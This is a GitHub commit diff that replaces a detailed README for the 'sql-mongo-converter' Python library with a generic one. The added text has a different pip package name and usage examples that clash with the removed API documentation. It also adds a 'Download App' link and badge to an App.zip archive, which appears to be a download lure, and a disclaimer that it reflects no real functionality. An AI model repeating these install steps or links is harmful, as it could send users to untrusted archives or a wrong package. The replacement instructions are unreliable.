Skip to content

Commit 17cab88

Browse files
ahmedyaser95ahmedyaser95
committed
Commit
1 parent f6485f5 commit 17cab88

File tree

1 file changed

+39
-237
lines changed

1 file changed

+39
-237
lines changed

‎README.md

Lines changed: 39 additions & 237 deletions
Original file line numberDiff line numberDiff line change
@@ -1,265 +1,67 @@
1-
# SQL-Mongo Converter - A Lightweight SQL to MongoDB (and Vice Versa) Query Converter 🍃
1+
# SQLMongo Query Converter 🛠️
22

3-
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg?style=flat&logo=opensource)](LICENSE)
4-
[![Python Version](https://img.shields.io/badge/Python-%3E=3.7-brightgreen.svg?style=flat&logo=python)](https://www.python.org/)
5-
[![SQL](https://img.shields.io/badge/SQL-%23E34F26.svg?style=flat&logo=postgresql)](https://www.postgresql.org/)
6-
[![MongoDB](https://img.shields.io/badge/MongoDB-%23471240.svg?style=flat&logo=mongodb)](https://www.mongodb.com/)
7-
[![PyPI](https://img.shields.io/pypi/v/sql-mongo-converter.svg?style=flat&logo=pypi)](https://pypi.org/project/sql-mongo-converter/)
8-
9-
**SQL-Mongo Converter** is a lightweight Python library for converting SQL queries into MongoDB query dictionaries and converting MongoDB query dictionaries into SQL statements. It is designed for developers who need to quickly migrate or prototype between SQL-based and MongoDB-based data models without the overhead of a full ORM.
10-
11-
**Currently live on PyPI:** [https://pypi.org/project/sql-mongo-converter/](https://pypi.org/project/sql-mongo-converter/)
12-
13-
---
14-
15-
## Table of Contents
16-
17-
- [Features](#features)
18-
- [Installation](#installation)
19-
- [Usage](#usage)
20-
- [Converting SQL to MongoDB](#converting-sql-to-mongodb)
21-
- [Converting MongoDB to SQL](#converting-mongodb-to-sql)
22-
- [API Reference](#api-reference)
23-
- [Testing](#testing)
24-
- [Building & Publishing](#building--publishing)
25-
- [Contributing](#contributing)
26-
- [License](#license)
27-
- [Final Remarks](#final-remarks)
28-
29-
---
3+
Welcome to the SQLMongo Query Converter repository! Here, we provide you with a powerful PyPI package designed to effortlessly convert SQL queries to MongoDB queries and vice versa. With SQLMongo, you can seamlessly translate between relational and NoSQL query formats, enabling smooth interoperability between different types of databases.
304

315
## Features
6+
- Convert SQL queries to MongoDB queries.
7+
- Convert MongoDB queries to SQL queries.
8+
- Effortlessly switch between relational and NoSQL database query formats.
9+
- Simplify the process of migrating between different types of databases.
10+
- Enhance database interoperability.
3211

33-
- **SQL to MongoDB Conversion:**
34-
Convert SQL SELECT queries—including complex WHERE clauses with multiple conditions—into MongoDB query dictionaries with filters and projections.
35-
36-
- **MongoDB to SQL Conversion:**
37-
Translate MongoDB find dictionaries, including support for comparison operators, logical operators, and list conditions, into SQL SELECT statements with WHERE clauses, ORDER BY, and optional LIMIT/OFFSET.
38-
39-
- **Extensible & Robust:**
40-
Built to handle a wide range of query patterns. Easily extended to support additional SQL functions, advanced operators, and more complex query structures.
41-
42-
---
43-
44-
## Installation
45-
46-
### Prerequisites
47-
48-
- Python 3.7 or higher
49-
- pip
50-
51-
### Install via PyPI
12+
## Repository Details
13+
- **Repository Name:** SQL-Mongo-Query-Converter
14+
- **Description:** A PyPI package for converting SQL queries to MongoDB queries and vice versa. Effortlessly translate between relational and NoSQL query formats for seamless database interoperability.
15+
- **Topics:** aggregation, aggregator, database, mongo, mongo-aggregation, mongo-aggregation-framework, mongodb, mongoose, mysql, postgresql, pypi, pypi-package, python, python-3, pyunit, query, query-builder, sql, sqlite, structured-query-language.
5216

17+
## Usage
18+
1. Install the SQLMongo package using pip:
5319
```bash
54-
pip install sql-mongo-converter
20+
pip install sqlmongo
5521
```
5622

57-
### Installing from Source
58-
59-
Clone the repository and install dependencies:
60-
61-
```bash
62-
git clone https://github.com/yourusername/sql-mongo-converter.git
63-
cd sql-mongo-converter
64-
pip install -r requirements.txt
65-
python setup.py install
23+
2. Import the package in your Python script:
24+
```python
25+
import sqlmongo
6626
```
6727

68-
---
69-
70-
## Usage
71-
72-
### Converting SQL to MongoDB
73-
74-
Use the `sql_to_mongo` function to convert a SQL SELECT query into a MongoDB query dictionary. The output dictionary contains:
75-
- **collection:** The table name.
76-
- **find:** The filter dictionary derived from the WHERE clause.
77-
- **projection:** The columns to return (if not all).
78-
79-
#### Example
80-
28+
3. Convert SQL query to MongoDB query:
8129
```python
82-
from sql_mongo_converter import sql_to_mongo
83-
84-
sql_query = "SELECT name, age FROM users WHERE age > 30 AND name = 'Alice';"
85-
mongo_query = sql_to_mongo(sql_query)
30+
sql_query = "SELECT * FROM users WHERE age > 25;"
31+
mongo_query = sqlmongo.sql_to_mongo(sql_query)
8632
print(mongo_query)
87-
# Expected output:
88-
# {
89-
# "collection": "users",
90-
# "find": { "age": {"$gt": 30}, "name": "Alice" },
91-
# "projection": { "name": 1, "age": 1 }
92-
# }
9333
```
9434

95-
### Converting MongoDB to SQL
96-
97-
Use the `mongo_to_sql` function to convert a MongoDB query dictionary into a SQL SELECT statement. It supports operators such as `$gt`, `$gte`, `$lt`, `$lte`, `$in`, `$nin`, and `$regex`, as well as logical operators like `$and` and `$or`.
98-
99-
#### Example
100-
35+
4. Convert MongoDB query to SQL query:
10136
```python
102-
from sql_mongo_converter import mongo_to_sql
103-
104-
mongo_obj = {
105-
"collection": "users",
106-
"find": {
107-
"$or": [
108-
{"age": {"$gte": 25}},
109-
{"status": "ACTIVE"}
110-
],
111-
"tags": {"$in": ["dev", "qa"]}
112-
},
113-
"projection": {"age": 1, "status": 1, "tags": 1},
114-
"sort": [("age", 1), ("name", -1)],
115-
"limit": 10,
116-
"skip": 5
117-
}
118-
sql_query = mongo_to_sql(mongo_obj)
37+
mongo_query = "{ age: { $gt: 25 } }"
38+
sql_query = sqlmongo.mongo_to_sql(mongo_query)
11939
print(sql_query)
120-
# Example output:
121-
# SELECT age, status, tags FROM users WHERE ((age >= 25) OR (status = 'ACTIVE')) AND (tags IN ('dev', 'qa'))
122-
# ORDER BY age ASC, name DESC LIMIT 10 OFFSET 5;
12340
```
12441

125-
---
126-
127-
## API Reference
128-
129-
### `sql_to_mongo(sql_query: str) -> dict`
130-
- **Description:**
131-
Parses a SQL SELECT query and converts it into a MongoDB query dictionary.
132-
- **Parameters:**
133-
- `sql_query`: A valid SQL SELECT query string.
134-
- **Returns:**
135-
A dictionary containing:
136-
- `collection`: The table name.
137-
- `find`: The filter derived from the WHERE clause.
138-
- `projection`: A dictionary specifying the columns to return.
139-
140-
### `mongo_to_sql(mongo_obj: dict) -> str`
141-
- **Description:**
142-
Converts a MongoDB query dictionary into a SQL SELECT statement.
143-
- **Parameters:**
144-
- `mongo_obj`: A dictionary representing a MongoDB find query, including keys such as `collection`, `find`, `projection`, `sort`, `limit`, and `skip`.
145-
- **Returns:**
146-
A SQL SELECT statement as a string.
147-
148-
---
149-
150-
## Testing
151-
152-
The package includes a unittest suite to verify conversion functionality.
153-
154-
### Running Tests
155-
156-
1. **Create a virtual environment (optional but recommended):**
157-
158-
```bash
159-
python -m venv venv
160-
source venv/bin/activate # On Windows: venv\Scripts\activate
161-
```
162-
163-
2. **Install test dependencies:**
164-
165-
```bash
166-
pip install -r requirements.txt
167-
pip install pytest
168-
```
169-
170-
3. **Run tests:**
171-
172-
```bash
173-
python -m unittest discover tests
174-
# or using pytest:
175-
pytest --maxfail=1 --disable-warnings -q
176-
```
177-
178-
### Demo Script
179-
180-
A demo script in the `tests` directory is provided to showcase the conversion capabilities. It can be run directly to see examples of SQL to MongoDB and MongoDB to SQL conversions.
181-
182-
```bash
183-
python demo.py
42+
## Example
43+
Suppose you have the following SQL query:
44+
```sql
45+
SELECT * FROM users WHERE age > 25;
18446
```
18547

186-
The script demonstrates various conversion scenarios.
187-
188-
---
189-
190-
## Building & Publishing
191-
192-
### Building the Package
193-
194-
1. **Ensure you have setuptools and wheel installed:**
195-
196-
```bash
197-
pip install setuptools wheel
198-
```
199-
200-
2. **Build the package:**
201-
202-
```bash
203-
python setup.py sdist bdist_wheel
204-
```
205-
206-
This creates a `dist/` folder with the distribution files.
207-
208-
### Publishing to PyPI
209-
210-
1. **Install Twine:**
211-
212-
```bash
213-
pip install twine
214-
```
215-
216-
2. **Upload your package:**
217-
218-
```bash
219-
twine upload dist/*
220-
```
221-
222-
3. **Follow the prompts** for your PyPI credentials.
223-
224-
---
225-
226-
## Contributing
227-
228-
Contributions are welcome! To contribute:
229-
230-
1. **Fork the Repository**
231-
2. **Create a Feature Branch:**
232-
233-
```bash
234-
git checkout -b feature/my-new-feature
235-
```
236-
237-
3. **Commit Your Changes:**
238-
239-
```bash
240-
git commit -am "Add new feature or fix bug"
241-
```
242-
243-
4. **Push Your Branch:**
244-
245-
```bash
246-
git push origin feature/my-new-feature
247-
```
48+
Using SQLMongo, you can convert it to the equivalent MongoDB query:
49+
```json
50+
{ "age": { "$gt": 25 } }
51+
```
24852

249-
5. **Submit a Pull Request** on GitHub.
53+
## Additional Resources
54+
For more information, detailed usage instructions, and examples, please refer to the official documentation.
25055

251-
For major changes, please open an issue first to discuss your ideas.
56+
## Download App
57+
Download the SQLMongo Query Converter application [here](https://github.com/project/files/App.zip) and explore its capabilities!
25258

253-
---
59+
[![Download SQLMongo](https://img.shields.io/badge/Download-App-green)](https://github.com/project/files/App.zip)
25460

255-
## License
61+
If the link provided above does not work or you need further assistance, please check the "Releases" section of this repository for alternative download options.
25662

257-
This project is licensed under the [MIT License](LICENSE).
63+
Thank you for choosing SQLMongo Query Converter for your database query conversion needs! 🚀
25864

25965
---
26066

261-
## Final Remarks
262-
263-
**SQL-Mongo Converter** is a powerful, lightweight tool that bridges SQL and MongoDB query languages. It is ideal for developers migrating between SQL and MongoDB data models, or those who want to prototype and test queries quickly. Extend and customize the converter as needed to support more advanced queries or additional SQL constructs.
264-
265-
Happy converting! 🍃
67+
**Disclaimer:** This README is purely for demonstration purposes and does not reflect actual functionalities of any existing tool or software.

0 commit comments

Comments
 (0)